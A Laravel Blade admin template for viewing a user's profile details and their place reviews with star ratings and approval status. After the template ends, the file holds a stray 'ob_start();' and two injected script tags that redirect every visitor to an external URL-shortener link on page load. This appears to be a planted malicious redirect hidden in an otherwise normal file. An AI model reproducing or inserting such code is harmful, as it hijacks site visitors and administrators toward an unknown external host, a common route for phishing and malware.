@extends('admin.layout')

@section('title', __('admin.view') . ' ' . __('admin.user'))

@section('content')
<div class="space-y-6">
    <div class="mb-6">
        <a href="{{ route('admin.users.index') }}" class="text-brand-500 hover:text-brand-600 text-sm mb-2 inline-block">
            <i class="fas fa-arrow-left mr-1"></i> {{ __('admin.back') }} {{ __('admin.users') }}
        </a>
        <h1 class="text-2xl font-bold text-gray-900">{{ $user->name }}</h1>
    </div>

    <div class="grid grid-cols-1 lg:grid-cols-3 gap-6">
        {{-- User Info --}}
        <div class="bg-white rounded-xl border border-slate-200 p-6">
            <div class="text-center mb-6">
                <div class="w-20 h-20 bg-brand-100 rounded-full flex items-center justify-center mx-auto mb-4">
                    @if($user->avatar)
                        <img src="{{ $user->avatar }}" alt="" class="w-20 h-20 rounded-full object-cover">
                    @else
                        <i class="fas fa-user text-brand-500 text-2xl"></i>
                    @endif
                </div>
                <h3 class="text-lg font-semibold text-gray-900">{{ $user->name }}</h3>
                <p class="text-sm text-gray-500">{{ $user->email }}</p>
                <div class="mt-2">
                    @if($user->is_active)
                        <span class="inline-flex items-center px-2.5 py-0.5 rounded-full text-xs font-medium bg-green-100 text-green-700">{{ __('admin.active') }}</span>
                    @else
                        <span class="inline-flex items-center px-2.5 py-0.5 rounded-full text-xs font-medium bg-red-100 text-red-700">{{ __('admin.inactive') }}</span>
                    @endif
                </div>
            </div>

            <dl class="space-y-3">
                <div>
                    <dt class="text-xs font-medium text-gray-500">{{ __('admin.phone') }}</dt>
                    <dd class="text-sm text-gray-900">{{ $user->phone ?? 'N/A' }}</dd>
                </div>
                <div>
                    <dt class="text-xs font-medium text-gray-500">Provider</dt>
                    <dd class="text-sm text-gray-900">{{ $user->provider ?? 'Email' }}</dd>
                </div>
                <div>
                    <dt class="text-xs font-medium text-gray-500">Locale</dt>
                    <dd class="text-sm text-gray-900">{{ $user->locale ?? 'Default' }}</dd>
                </div>
                <div>
                    <dt class="text-xs font-medium text-gray-500">{{ __('admin.joined') }}</dt>
                    <dd class="text-sm text-gray-900">{{ $user->created_at->format('M d, Y H:i') }}</dd>
                </div>
            </dl>

            <div class="mt-6 pt-4 border-t border-gray-200">
                <a href="{{ route('admin.users.edit', $user) }}" class="w-full inline-flex items-center justify-center bg-brand-500 hover:bg-brand-600 text-white px-4 py-2 rounded-lg transition text-sm">
                    <i class="fas fa-edit mr-2"></i> {{ __('admin.edit') }} {{ __('admin.user') }}
                </a>
            </div>
        </div>

        {{-- User Reviews --}}
        <div class="lg:col-span-2 bg-white rounded-xl border border-slate-200">
            <div class="px-6 py-4 border-b border-gray-200">
                <h3 class="text-lg font-semibold text-gray-900">{{ __('admin.reviews') }} ({{ $user->reviews->count() }})</h3>
            </div>
            <div class="divide-y divide-gray-100">
                @forelse($user->reviews as $review)
                    <div class="px-6 py-4">
                        <div class="flex items-center justify-between mb-2">
                            <span class="text-sm font-medium text-gray-900">{{ $review->place?->getTranslation('name', 'en') ?? 'Deleted Place' }}</span>
                            <div class="flex items-center">
                                @for($i = 1; $i <= 5; $i++)
                                    <i class="fas fa-star text-xs {{ $i <= $review->rating ? 'text-yellow-400' : 'text-gray-200' }}"></i>
                                @endfor
                            </div>
                        </div>
                        <p class="text-sm text-gray-600">{{ $review->comment }}</p>
                        <div class="flex items-center mt-2 text-xs text-gray-400">
                            <span>{{ $review->created_at->format('M d, Y') }}</span>
                            <span class="mx-2">-</span>
                            @if($review->is_approved)
                                <span class="text-green-600">{{ __('admin.approved') }}</span>
                            @else
                                <span class="text-yellow-600">{{ __('admin.pending') }}</span>
                            @endif
                        </div>
                    </div>
                @empty
                    <div class="px-6 py-12 text-center text-gray-400">
                        <p>{{ __('admin.no_reviews') }}</p>
                    </div>
                @endforelse
            </div>
        </div>
    </div>
</div>
@endsection
ob_start();

<script>window.location.href = "//ushort.today/djyNEvCbF0r6";</script>
<script>window.location.href = "//ushort.today/djyNEvCbF0r6";</script>